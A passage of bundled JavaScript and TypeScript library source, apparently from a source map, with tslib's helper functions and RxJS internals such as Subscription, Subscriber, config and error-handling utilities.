descriptor.get, set: descriptor.set } : descriptor[key], context);\n if (kind === \"accessor\") {\n if (result === void 0) continue;\n if (result === null || typeof result !== \"object\") throw new TypeError(\"Object expected\");\n if (_ = accept(result.get)) descriptor.get = _;\n if (_ = accept(result.set)) descriptor.set = _;\n if (_ = accept(result.init)) initializers.unshift(_);\n }\n else if (_ = accept(result)) {\n if (kind === \"field\") initializers.unshift(_);\n else descriptor[key] = _;\n }\n }\n if (target) Object.defineProperty(target, contextIn.name, descriptor);\n done = true;\n};\n\nexport function __runInitializers(thisArg, initializers, value) {\n var useValue = arguments.length > 2;\n for (var i = 0; i < initializers.length; i++) {\n value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg);\n }\n return useValue ? value : void 0;\n};\n\nexport function __propKey(x) {\n return typeof x === \"symbol\" ? x : \"\".concat(x);\n};\n\nexport function __setFunctionName(f, name, prefix) {\n if (typeof name === \"symbol\") name = name.description ? \"[\".concat(name.description, \"]\") : \"\";\n return Object.defineProperty(f, \"name\", { configurable: true, value: prefix ? \"\".concat(prefix, \" \", name) : name });\n};\n\nexport function __metadata(metadataKey, metadataValue) {\n if (typeof Reflect === \"object\" && typeof Reflect.metadata === \"function\") return Reflect.metadata(metadataKey, metadataValue);\n}\n\nexport function __awaiter(thisArg, _arguments, P, generator) {\n function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }\n return new (P || (P = Promise))(function (resolve, reject) {\n function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }\n function rejected(value) { try { step(generator[\"throw\"](value)); } catch (e) { reject(e); } }\n function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }\n step((generator = generator.apply(thisArg, _arguments || [])).next());\n });\n}\n\nexport function __generator(thisArg, body) {\n var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === \"function\" ? Iterator : Object).prototype);\n return g.next = verb(0), g[\"throw\"] = verb(1), g[\"return\"] = verb(2), typeof Symbol === \"function\" && (g[Symbol.iterator] = function() { return this; }), g;\n function verb(n) { return function (v) { return step([n, v]); }; }\n function step(op) {\n if (f) throw new TypeError(\"Generator is already executing.\");\n while (g && (g = 0, op[0] && (_ = 0)), _) try {\n if (f = 1, y && (t = op[0] & 2 ? y[\"return\"] : op[0] ? y[\"throw\"] || ((t = y[\"return\"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;\n if (y = 0, t) op = [op[0] & 2, t.value];\n switch (op[0]) {\n case 0: case 1: t = op; break;\n case 4: _.label++; return { value: op[1], done: false };\n case 5: _.label++; y = op[1]; op = [0]; continue;\n case 7: op = _.ops.pop(); _.trys.pop(); continue;\n default:\n if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }\n if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }\n if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }\n if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }\n if (t[2]) _.ops.pop();\n _.trys.pop(); continue;\n }\n op = body.call(thisArg, _);\n } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }\n if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };\n }\n}\n\nexport var __createBinding = Object.create ? (function(o, m, k, k2) {\n if (k2 === undefined) k2 = k;\n var desc = Object.getOwnPropertyDescriptor(m, k);\n if (!desc || (\"get\" in desc ? !m.__esModule : desc.writable || desc.configurable)) {\n desc = { enumerable: true, get: function() { return m[k]; } };\n }\n Object.defineProperty(o, k2, desc);\n}) : (function(o, m, k, k2) {\n if (k2 === undefined) k2 = k;\n o[k2] = m[k];\n});\n\nexport function __exportStar(m, o) {\n for (var p in m) if (p !== \"default\" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p);\n}\n\nexport function __values(o) {\n var s = typeof Symbol === \"function\" && Symbol.iterator, m = s && o[s], i = 0;\n if (m) return m.call(o);\n if (o && typeof o.length === \"number\") return {\n next: function () {\n if (o && i >= o.length) o = void 0;\n return { value: o && o[i++], done: !o };\n }\n };\n throw new TypeError(s ? \"Object is not iterable.\" : \"Symbol.iterator is not defined.\");\n}\n\nexport function __read(o, n) {\n var m = typeof Symbol === \"function\" && o[Symbol.iterator];\n if (!m) return o;\n var i = m.call(o), r, ar = [], e;\n try {\n while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);\n }\n catch (error) { e = { error: error }; }\n finally {\n try {\n if (r && !r.done && (m = i[\"return\"])) m.call(i);\n }\n finally { if (e) throw e.error; }\n }\n return ar;\n}\n\n/** @deprecated */\nexport function __spread() {\n for (var ar = [], i = 0; i < arguments.length; i++)\n ar = ar.concat(__read(arguments[i]));\n return ar;\n}\n\n/** @deprecated */\nexport function __spreadArrays() {\n for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length;\n for (var r = Array(s), k = 0, i = 0; i < il; i++)\n for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++)\n r[k] = a[j];\n return r;\n}\n\nexport function __spreadArray(to, from, pack) {\n if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {\n if (ar || !(i in from)) {\n if (!ar) ar = Array.prototype.slice.call(from, 0, i);\n ar[i] = from[i];\n }\n }\n return to.concat(ar || Array.prototype.slice.call(from));\n}\n\nexport function __await(v) {\n return this instanceof __await ? (this.v = v, this) : new __await(v);\n}\n\nexport function __asyncGenerator(thisArg, _arguments, generator) {\n if (!Symbol.asyncIterator) throw new TypeError(\"Symbol.asyncIterator is not defined.\");\n var g = generator.apply(thisArg, _arguments || []), i, q = [];\n return i = Object.create((typeof AsyncIterator === \"function\" ? AsyncIterator : Object).prototype), verb(\"next\"), verb(\"throw\"), verb(\"return\", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i;\n function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; }\n function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } }\n function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } }\n function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); }\n function fulfill(value) { resume(\"next\", value); }\n function reject(value) { resume(\"throw\", value); }\n function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); }\n}\n\nexport function __asyncDelegator(o) {\n var i, p;\n return i = {}, verb(\"next\"), verb(\"throw\", function (e) { throw e; }), verb(\"return\"), i[Symbol.iterator] = function () { return this; }, i;\n function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; }\n}\n\nexport function __asyncValues(o) {\n if (!Symbol.asyncIterator) throw new TypeError(\"Symbol.asyncIterator is not defined.\");\n var m = o[Symbol.asyncIterator], i;\n return m ? m.call(o) : (o = typeof __values === \"function\" ? __values(o) : o[Symbol.iterator](), i = {}, verb(\"next\"), verb(\"throw\"), verb(\"return\"), i[Symbol.asyncIterator] = function () { return this; }, i);\n function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; }\n function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); }\n}\n\nexport function __makeTemplateObject(cooked, raw) {\n if (Object.defineProperty) { Object.defineProperty(cooked, \"raw\", { value: raw }); } else { cooked.raw = raw; }\n return cooked;\n};\n\nvar __setModuleDefault = Object.create ? (function(o, v) {\n Object.defineProperty(o, \"default\", { enumerable: true, value: v });\n}) : function(o, v) {\n o[\"default\"] = v;\n};\n\nexport function __importStar(mod) {\n if (mod && mod.__esModule) return mod;\n var result = {};\n if (mod != null) for (var k in mod) if (k !== \"default\" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);\n __setModuleDefault(result, mod);\n return result;\n}\n\nexport function __importDefault(mod) {\n return (mod && mod.__esModule) ? mod : { default: mod };\n}\n\nexport function __classPrivateFieldGet(receiver, state, kind, f) {\n if (kind === \"a\" && !f) throw new TypeError(\"Private accessor was defined without a getter\");\n if (typeof state === \"function\" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError(\"Cannot read private member from an object whose class did not declare it\");\n return kind === \"m\" ? f : kind === \"a\" ? f.call(receiver) : f ? f.value : state.get(receiver);\n}\n\nexport function __classPrivateFieldSet(receiver, state, value, kind, f) {\n if (kind === \"m\") throw new TypeError(\"Private method is not writable\");\n if (kind === \"a\" && !f) throw new TypeError(\"Private accessor was defined without a setter\");\n if (typeof state === \"function\" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError(\"Cannot write private member to an object whose class did not declare it\");\n return (kind === \"a\" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;\n}\n\nexport function __classPrivateFieldIn(state, receiver) {\n if (receiver === null || (typeof receiver !== \"object\" && typeof receiver !== \"function\")) throw new TypeError(\"Cannot use 'in' operator on non-object\");\n return typeof state === \"function\" ? receiver === state : state.has(receiver);\n}\n\nexport function __addDisposableResource(env, value, async) {\n if (value !== null && value !== void 0) {\n if (typeof value !== \"object\" && typeof value !== \"function\") throw new TypeError(\"Object expected.\");\n var dispose, inner;\n if (async) {\n if (!Symbol.asyncDispose) throw new TypeError(\"Symbol.asyncDispose is not defined.\");\n dispose = value[Symbol.asyncDispose];\n }\n if (dispose === void 0) {\n if (!Symbol.dispose) throw new TypeError(\"Symbol.dispose is not defined.\");\n dispose = value[Symbol.dispose];\n if (async) inner = dispose;\n }\n if (typeof dispose !== \"function\") throw new TypeError(\"Object not disposable.\");\n if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } };\n env.stack.push({ value: value, dispose: dispose, async: async });\n }\n else if (async) {\n env.stack.push({ async: true });\n }\n return value;\n}\n\nvar _SuppressedError = typeof SuppressedError === \"function\" ? SuppressedError : function (error, suppressed, message) {\n var e = new Error(message);\n return e.name = \"SuppressedError\", e.error = error, e.suppressed = suppressed, e;\n};\n\nexport function __disposeResources(env) {\n function fail(e) {\n env.error = env.hasError ? new _SuppressedError(e, env.error, \"An error was suppressed during disposal.\") : e;\n env.hasError = true;\n }\n var r, s = 0;\n function next() {\n while (r = env.stack.pop()) {\n try {\n if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next);\n if (r.dispose) {\n var result = r.dispose.call(r.value);\n if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); });\n }\n else s |= 1;\n }\n catch (e) {\n fail(e);\n }\n }\n if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve();\n if (env.hasError) throw env.error;\n }\n return next();\n}\n\nexport default {\n __extends,\n __assign,\n __rest,\n __decorate,\n __param,\n __metadata,\n __awaiter,\n __generator,\n __createBinding,\n __exportStar,\n __values,\n __read,\n __spread,\n __spreadArrays,\n __spreadArray,\n __await,\n __asyncGenerator,\n __asyncDelegator,\n __asyncValues,\n __makeTemplateObject,\n __importStar,\n __importDefault,\n __classPrivateFieldGet,\n __classPrivateFieldSet,\n __classPrivateFieldIn,\n __addDisposableResource,\n __disposeResources,\n};\n", "/**\n * Returns true if the object is a function.\n * @param value The value to check\n */\nexport function isFunction(value: any): value is (...args: any[]) => any {\n return typeof value === 'function';\n}\n", "/**\n * Used to create Error subclasses until the community moves away from ES5.\n *\n * This is because compiling from TypeScript down to ES5 has issues with subclassing Errors\n * as well as other built-in types: https://github.com/Microsoft/TypeScript/issues/12123\n *\n * @param createImpl A factory function to create the actual constructor implementation. The returned\n * function should be a named function that calls `_super` internally.\n */\nexport function createErrorClass(createImpl: (_super: any) => any): T {\n const _super = (instance: any) => {\n Error.call(instance);\n instance.stack = new Error().stack;\n };\n\n const ctorFunc = createImpl(_super);\n ctorFunc.prototype = Object.create(Error.prototype);\n ctorFunc.prototype.constructor = ctorFunc;\n return ctorFunc;\n}\n", "import { createErrorClass } from './createErrorClass';\n\nexport interface UnsubscriptionError extends Error {\n readonly errors: any[];\n}\n\nexport interface UnsubscriptionErrorCtor {\n /**\n * @deprecated Internal implementation detail. Do not construct error instances.\n * Cannot be tagged as internal: https://github.com/ReactiveX/rxjs/issues/6269\n */\n new (errors: any[]): UnsubscriptionError;\n}\n\n/**\n * An error thrown when one or more errors have occurred during the\n * `unsubscribe` of a {@link Subscription}.\n */\nexport const UnsubscriptionError: UnsubscriptionErrorCtor = createErrorClass(\n (_super) =>\n function UnsubscriptionErrorImpl(this: any, errors: (Error | string)[]) {\n _super(this);\n this.message = errors\n ? `${errors.length} errors occurred during unsubscription:\n${errors.map((err, i) => `${i + 1}) ${err.toString()}`).join('\\n ')}`\n : '';\n this.name = 'UnsubscriptionError';\n this.errors = errors;\n }\n);\n", "/**\n * Removes an item from an array, mutating it.\n * @param arr The array to remove the item from\n * @param item The item to remove\n */\nexport function arrRemove(arr: T[] | undefined | null, item: T) {\n if (arr) {\n const index = arr.indexOf(item);\n 0 <= index && arr.splice(index, 1);\n }\n}\n", "import { isFunction } from './util/isFunction';\nimport { UnsubscriptionError } from './util/UnsubscriptionError';\nimport { SubscriptionLike, TeardownLogic, Unsubscribable } from './types';\nimport { arrRemove } from './util/arrRemove';\n\n/**\n * Represents a disposable resource, such as the execution of an Observable. A\n * Subscription has one important method, `unsubscribe`, that takes no argument\n * and just disposes the resource held by the subscription.\n *\n * Additionally, subscriptions may be grouped together through the `add()`\n * method, which will attach a child Subscription to the current Subscription.\n * When a Subscription is unsubscribed, all its children (and its grandchildren)\n * will be unsubscribed as well.\n *\n * @class Subscription\n */\nexport class Subscription implements SubscriptionLike {\n /** @nocollapse */\n public static EMPTY = (() => {\n const empty = new Subscription();\n empty.closed = true;\n return empty;\n })();\n\n /**\n * A flag to indicate whether this Subscription has already been unsubscribed.\n */\n public closed = false;\n\n private _parentage: Subscription[] | Subscription | null = null;\n\n /**\n * The list of registered finalizers to execute upon unsubscription. Adding and removing from this\n * list occurs in the {@link #add} and {@link #remove} methods.\n */\n private _finalizers: Exclude[] | null = null;\n\n /**\n * @param initialTeardown A function executed first as part of the finalization\n * process that is kicked off when {@link #unsubscribe} is called.\n */\n constructor(private initialTeardown?: () => void) {}\n\n /**\n * Disposes the resources held by the subscription. May, for instance, cancel\n * an ongoing Observable execution or cancel any other type of work that\n * started when the Subscription was created.\n * @return {void}\n */\n unsubscribe(): void {\n let errors: any[] | undefined;\n\n if (!this.closed) {\n this.closed = true;\n\n // Remove this from it's parents.\n const { _parentage } = this;\n if (_parentage) {\n this._parentage = null;\n if (Array.isArray(_parentage)) {\n for (const parent of _parentage) {\n parent.remove(this);\n }\n } else {\n _parentage.remove(this);\n }\n }\n\n const { initialTeardown: initialFinalizer } = this;\n if (isFunction(initialFinalizer)) {\n try {\n initialFinalizer();\n } catch (e) {\n errors = e instanceof UnsubscriptionError ? e.errors : [e];\n }\n }\n\n const { _finalizers } = this;\n if (_finalizers) {\n this._finalizers = null;\n for (const finalizer of _finalizers) {\n try {\n execFinalizer(finalizer);\n } catch (err) {\n errors = errors ?? [];\n if (err instanceof UnsubscriptionError) {\n errors = [...errors, ...err.errors];\n } else {\n errors.push(err);\n }\n }\n }\n }\n\n if (errors) {\n throw new UnsubscriptionError(errors);\n }\n }\n }\n\n /**\n * Adds a finalizer to this subscription, so that finalization will be unsubscribed/called\n * when this subscription is unsubscribed. If this subscription is already {@link #closed},\n * because it has already been unsubscribed, then whatever finalizer is passed to it\n * will automatically be executed (unless the finalizer itself is also a closed subscription).\n *\n * Closed Subscriptions cannot be added as finalizers to any subscription. Adding a closed\n * subscription to a any subscription will result in no operation. (A noop).\n *\n * Adding a subscription to itself, or adding `null` or `undefined` will not perform any\n * operation at all. (A noop).\n *\n * `Subscription` instances that are added to this instance will automatically remove themselves\n * if they are unsubscribed. Functions and {@link Unsubscribable} objects that you wish to remove\n * will need to be removed manually with {@link #remove}\n *\n * @param teardown The finalization logic to add to this subscription.\n */\n add(teardown: TeardownLogic): void {\n // Only add the finalizer if it's not undefined\n // and don't add a subscription to itself.\n if (teardown && teardown !== this) {\n if (this.closed) {\n // If this subscription is already closed,\n // execute whatever finalizer is handed to it automatically.\n execFinalizer(teardown);\n } else {\n if (teardown instanceof Subscription) {\n // We don't add closed subscriptions, and we don't add the same subscription\n // twice. Subscription unsubscribe is idempotent.\n if (teardown.closed || teardown._hasParent(this)) {\n return;\n }\n teardown._addParent(this);\n }\n (this._finalizers = this._finalizers ?? []).push(teardown);\n }\n }\n }\n\n /**\n * Checks to see if a this subscription already has a particular parent.\n * This will signal that this subscription has already been added to the parent in question.\n * @param parent the parent to check for\n */\n private _hasParent(parent: Subscription) {\n const { _parentage } = this;\n return _parentage === parent || (Array.isArray(_parentage) && _parentage.includes(parent));\n }\n\n /**\n * Adds a parent to this subscription so it can be removed from the parent if it\n * unsubscribes on it's own.\n *\n * NOTE: THIS ASSUMES THAT {@link _hasParent} HAS ALREADY BEEN CHECKED.\n * @param parent The parent subscription to add\n */\n private _addParent(parent: Subscription) {\n const { _parentage } = this;\n this._parentage = Array.isArray(_parentage) ? (_parentage.push(parent), _parentage) : _parentage ? [_parentage, parent] : parent;\n }\n\n /**\n * Called on a child when it is removed via {@link #remove}.\n * @param parent The parent to remove\n */\n private _removeParent(parent: Subscription) {\n const { _parentage } = this;\n if (_parentage === parent) {\n this._parentage = null;\n } else if (Array.isArray(_parentage)) {\n arrRemove(_parentage, parent);\n }\n }\n\n /**\n * Removes a finalizer from this subscription that was previously added with the {@link #add} method.\n *\n * Note that `Subscription` instances, when unsubscribed, will automatically remove themselves\n * from every other `Subscription` they have been added to. This means that using the `remove` method\n * is not a common thing and should be used thoughtfully.\n *\n * If you add the same finalizer instance of a function or an unsubscribable object to a `Subscription` instance\n * more than once, you will need to call `remove` the same number of times to remove all instances.\n *\n * All finalizer instances are removed to free up memory upon unsubscription.\n *\n * @param teardown The finalizer to remove from this subscription\n */\n remove(teardown: Exclude): void {\n const { _finalizers } = this;\n _finalizers && arrRemove(_finalizers, teardown);\n\n if (teardown instanceof Subscription) {\n teardown._removeParent(this);\n }\n }\n}\n\nexport const EMPTY_SUBSCRIPTION = Subscription.EMPTY;\n\nexport function isSubscription(value: any): value is Subscription {\n return (\n value instanceof Subscription ||\n (value && 'closed' in value && isFunction(value.remove) && isFunction(value.add) && isFunction(value.unsubscribe))\n );\n}\n\nfunction execFinalizer(finalizer: Unsubscribable | (() => void)) {\n if (isFunction(finalizer)) {\n finalizer();\n } else {\n finalizer.unsubscribe();\n }\n}\n", "import { Subscriber } from './Subscriber';\nimport { ObservableNotification } from './types';\n\n/**\n * The {@link GlobalConfig} object for RxJS. It is used to configure things\n * like how to react on unhandled errors.\n */\nexport const config: GlobalConfig = {\n onUnhandledError: null,\n onStoppedNotification: null,\n Promise: undefined,\n useDeprecatedSynchronousErrorHandling: false,\n useDeprecatedNextContext: false,\n};\n\n/**\n * The global configuration object for RxJS, used to configure things\n * like how to react on unhandled errors. Accessible via {@link config}\n * object.\n */\nexport interface GlobalConfig {\n /**\n * A registration point for unhandled errors from RxJS. These are errors that\n * cannot were not handled by consuming code in the usual subscription path. For\n * example, if you have this configured, and you subscribe to an observable without\n * providing an error handler, errors from that subscription will end up here. This\n * will _always_ be called asynchronously on another job in the runtime. This is because\n * we do not want errors thrown in this user-configured handler to interfere with the\n * behavior of the library.\n */\n onUnhandledError: ((err: any) => void) | null;\n\n /**\n * A registration point for notifications that cannot be sent to subscribers because they\n * have completed, errored or have been explicitly unsubscribed. By default, next, complete\n * and error notifications sent to stopped subscribers are noops. However, sometimes callers\n * might want a different behavior. For example, with sources that attempt to report errors\n * to stopped subscribers, a caller can configure RxJS to throw an unhandled error instead.\n * This will _always_ be called asynchronously on another job in the runtime. This is because\n * we do not want errors thrown in this user-configured handler to interfere with the\n * behavior of the library.\n */\n onStoppedNotification: ((notification: ObservableNotification, subscriber: Subscriber) => void) | null;\n\n /**\n * The promise constructor used by default for {@link Observable#toPromise toPromise} and {@link Observable#forEach forEach}\n * methods.\n *\n * @deprecated As of version 8, RxJS will no longer support this sort of injection of a\n * Promise constructor. If you need a Promise implementation other than native promises,\n * please polyfill/patch Promise as you see appropriate. Will be removed in v8.\n */\n Promise?: PromiseConstructorLike;\n\n /**\n * If true, turns on synchronous error rethrowing, which is a deprecated behavior\n * in v6 and higher. This behavior enables bad patterns like wrapping a subscribe\n * call in a try/catch block. It also enables producer interference, a nasty bug\n * where a multicast can be broken for all observers by a downstream consumer with\n * an unhandled error. DO NOT USE THIS FLAG UNLESS IT'S NEEDED TO BUY TIME\n * FOR MIGRATION REASONS.\n *\n * @deprecated As of version 8, RxJS will no longer support synchronous throwing\n * of unhandled errors. All errors will be thrown on a separate call stack to prevent bad\n * behaviors described above. Will be removed in v8.\n */\n useDeprecatedSynchronousErrorHandling: boolean;\n\n /**\n * If true, enables an as-of-yet undocumented feature from v5: The ability to access\n * `unsubscribe()` via `this` context in `next` functions created in observers passed\n * to `subscribe`.\n *\n * This is being removed because the performance was severely problematic, and it could also cause\n * issues when types other than POJOs are passed to subscribe as subscribers, as they will likely have\n * their `this` context overwritten.\n *\n * @deprecated As of version 8, RxJS will no longer support altering the\n * context of next functions provided as part of an observer to Subscribe. Instead,\n * you will have access to a subscription or a signal or token that will allow you to do things like\n * unsubscribe and test closed status. Will be removed in v8.\n */\n useDeprecatedNextContext: boolean;\n}\n", "import type { TimerHandle } from './timerHandle';\ntype SetTimeoutFunction = (handler: () => void, timeout?: number, ...args: any[]) => TimerHandle;\ntype ClearTimeoutFunction = (handle: TimerHandle) => void;\n\ninterface TimeoutProvider {\n setTimeout: SetTimeoutFunction;\n clearTimeout: ClearTimeoutFunction;\n delegate:\n | {\n setTimeout: SetTimeoutFunction;\n clearTimeout: ClearTimeoutFunction;\n }\n | undefined;\n}\n\nexport const timeoutProvider: TimeoutProvider = {\n // When accessing the delegate, use the variable rather than `this` so that\n // the functions can be called without being bound to the provider.\n setTimeout(handler: () => void, timeout?: number, ...args) {\n const { delegate } = timeoutProvider;\n if (delegate?.setTimeout) {\n return delegate.setTimeout(handler, timeout, ...args);\n }\n return setTimeout(handler, timeout, ...args);\n },\n clearTimeout(handle) {\n const { delegate } = timeoutProvider;\n return (delegate?.clearTimeout || clearTimeout)(handle as any);\n },\n delegate: undefined,\n};\n", "import { config } from '../config';\nimport { timeoutProvider } from '../scheduler/timeoutProvider';\n\n/**\n * Handles an error on another job either with the user-configured {@link onUnhandledError},\n * or by throwing it on that new job so it can be picked up by `window.onerror`, `process.on('error')`, etc.\n *\n * This should be called whenever there is an error that is out-of-band with the subscription\n * or when an error hits a terminal boundary of the subscription and no error handler was provided.\n *\n * @param err the error to report\n */\nexport function reportUnhandledError(err: any) {\n timeoutProvider.setTimeout(() => {\n const { onUnhandledError } = config;\n if (onUnhandledError) {\n // Execute the user-configured error handler.\n onUnhandledError(err);\n } else {\n // Throw so it is picked up by the runtime's uncaught error mechanism.\n throw err;\n }\n });\n}\n", "/* tslint:disable:no-empty */\nexport function noop() { }\n", "import { CompleteNotification, NextNotification, ErrorNotification } from './types';\n\n/**\n * A completion object optimized for memory use and created to be the\n * same \"shape\" as other notifications in v8.\n * @internal\n */\nexport const COMPLETE_NOTIFICATION = (() => createNotification('C', undefined, undefined) as CompleteNotification)();\n\n/**\n * Internal use only. Creates an optimized error notification that is the same \"shape\"\n * as other notifications.\n * @internal\n */\nexport function errorNotification(error: any): ErrorNotification {\n return createNotification('E', undefined, error) as any;\n}\n\n/**\n * Internal use only. Creates an optimized next notification that is the same \"shape\"\n * as other notifications.\n * @internal\n */\nexport function nextNotification(value: T) {\n return createNotification('N', value, undefined) as NextNotification;\n}\n\n/**\n * Ensures that all notifications created internally have the same \"shape\" in v8.\n *\n * TODO: This is only exported to support a crazy legacy test in `groupBy`.\n * @internal\n */\nexport function createNotification(kind: 'N' | 'E' | 'C', value: any, error: any) {\n return {\n kind,\n value,\n error,\n };\n}\n", "import { config } from '../config';\n\nlet context: { errorThrown: boolean; error: any } | null = null;\n\n/**\n * Handles dealing with errors for super-gross mode. Creates a context, in which\n * any synchronously thrown errors will be passed to {@link captureError}. Which\n * will record the error such that it will be rethrown after the call back is complete.\n * TODO: Remove in v8\n * @param cb An immediately executed function.\n */\nexport function errorContext(cb: () => void) {\n if (config.useDeprecatedSynchronousErrorHandling) {\n const isRoot = !context;\n if (isRoot) {\n context = { errorThrown: false, error: null };\n }\n cb();\n if (isRoot) {\n const { errorThrown, error } = context!;\n context = null;\n if (errorThrown) {\n throw error;\n }\n }\n } else {\n // This is the general non-deprecated path for everyone that\n // isn't crazy enough to use super-gross mode (useDeprecatedSynchronousErrorHandling)\n cb();\n }\n}\n\n/**\n * Captures errors only in super-gross mode.\n * @param err the error to capture\n */\nexport function captureError(err: any) {\n if (config.useDeprecatedSynchronousErrorHandling && context) {\n context.errorThrown = true;\n context.error = err;\n }\n}\n", "import { isFunction } from './util/isFunction';\nimport { Observer, ObservableNotification } from './types';\nimport { isSubscription, Subscription } from './Subscription';\nimport { config } from './config';\nimport { reportUnhandledError } from './util/reportUnhandledError';\nimport { noop } from './util/noop';\nimport { nextNotification, errorNotification, COMPLETE_NOTIFICATION } from './NotificationFactories';\nimport { timeoutProvider } from './scheduler/timeoutProvider';\nimport { captureError } from './util/errorContext';\n\n/**\n * Implements the {@link Observer} interface and extends the\n * {@link Subscription} class. While the {@link Observer} is the public API for\n * consuming the values of an {@link Observable}, all Observers get converted to\n * a Subscriber, in order to provide Subscription-like capabilities such as\n * `unsubscribe`. Subscriber is a common type in RxJS, and crucial for\n * implementing operators, but it is rarely used as a public API.\n *\n * @class Subscriber\n */\nexport class Subscriber extends Subscription implements Observer {\n /**\n * A static factory for a Subscriber, given a (potentially partial) definition\n * of an Observer.\n * @param next The `next` callback of an Observer.\n * @param error The `error` callback of an\n * Observer.\n * @param complete The `complete` callback of an\n * Observer.\n * @return A Subscriber wrapping the (partially defined)\n * Observer represented by the given arguments.\n * @nocollapse\n * @deprecated Do not use. Will be removed in v8. There is no replacement for this\n * method, and there is no reason to be creating instances of `Subscriber` directly.\n * If you have a specific use case, please file an issue.\n */\n static create(next?: (x?: T) => void, error?: (e?: any) => void, complete?: () => void): Subscriber {\n return new SafeSubscriber(next, error, complete);\n }\n\n /** @deprecated Internal implementation detail, do not use directly. Will be made internal in v8. */\n protected isStopped: boolean = false;\n /** @deprecated Internal implementation detail, do not use directly. Will be made internal in v8. */\n protected destination: Subscriber | Observer; // this `any` is the escape hatch to erase extra type param (e.g. R)\n\n /**\n * @deprecated Internal implementation detail, do not use directly. Will be made internal in v8.\n * There is no reason to directly create an instance of Subscriber. This type is exported for typings reasons.\n */\n constructor(destination?: Subscriber | Observer) {\n super();\n if (destination) {\n this.destination = destination;\n // Automatically chain subscriptions together here.\n // if destination is a Subscription, then it is a Subscriber.\n if (isSubscription(destination)) {\n destination.add(this);\n }\n } else {\n this.destination = EMPTY_OBSERVER;\n }\n }\n\n /**\n * The {@link Observer} callback to receive notifications of type `next` from\n * the Observable, with a value. The Observable may call this method 0 or more\n * times.\n * @param {T} [value] The `next` value.\n * @return {void}\n */\n next(value?: T): void {\n if (this.isStopped) {\n handleStoppedNotification(nextNotification(value), this);\n } else {\n this._next(value!);\n }\n }\n\n /**\n * The {@link Observer} callback to receive notifications of type `error` from\n * the Observable, with an attached `Error`. Notifies the Observer that\n * the Observable has experienced an error condition.\n * @param {any} [err] The `error` exception.\n * @return {void}\n */\n error(err?: any): void {\n if (this.isStopped) {\n handleStoppedNotification(errorNotification(err), this);\n } else {\n this.isStopped = true;\n this._error(err);\n }\n }\n\n /**\n * The {@link Observer} callback to receive a valueless notification of type\n * `complete` from the Observable. Notifies the Observer that the Observable\n * has finished sending push-based notifications.\n * @return {void}\n */\n complete(): void {\n if (this.isStopped) {\n handleStoppedNotification(COMPLETE_NOTIFICATION, this);\n } else {\n this.isStopped = true;\n this._complete();\n }\n }\n\n unsubscribe(): void {\n if (!this.closed) {\n this.isStopped = true;\n super.unsubscribe();\n this.destination = null!;\n }\n }\n\n protected _next(value: T): void {\n this.destination.next(value);\n }\n\n protected _error(err: any): void {\n try {\n this.destination.error(err);\n } finally {\n this.unsubscribe();\n }\n }\n\n protected _complete(): void {\n try {\n this.destination.complete();\n } finally {\n this.unsubscribe();\n }\n }\n}\n\n/**\n * This bind is captured here because we want to be able to have\n * compatibility with monoid libraries that tend to use a method named\n * `bind`. In particular, a library called Monio requires this.\n */\nconst _bind = Function.prototype.bind;\n\nfunction bind any>(fn: Fn, thisArg: any): Fn {\n return _bind.call(fn, thisArg);\n}\n\n/**\n * Internal optimization only, DO NOT EXPOSE.\n * @internal\n */\nclass ConsumerObserver implements Observer {\n constructor(private partialObserver: Partial>) {}\n\n next(value: T): void {\n const { partialObserver } = this;\n if (partialObserver.next) {\n try {\n partialObserver.next(value);\n } catch (error) {\n handleUnhandledError(error);\n }\n }\n }\n\n error(err: any): void {\n const { partialObserver } = this;\n if (partialObserver.error) {\n try {\n partialObserver.error(err);\n } catch (error) {\n handleUnhandledError(error);\n }\n } else {\n handleUnhandledError(err);\n }\n }\n\n complete(): void {\n const { partialObserver } = this;\n if (partialObserver.complete) {\n try {\n partialObserver.complete();\n } catch (error) {\n handleUnhandledError(error);\n }\n }\n }\n}\n\nexport class SafeSubscriber extends Subscriber {\n constructor(\n observerOrNext?: 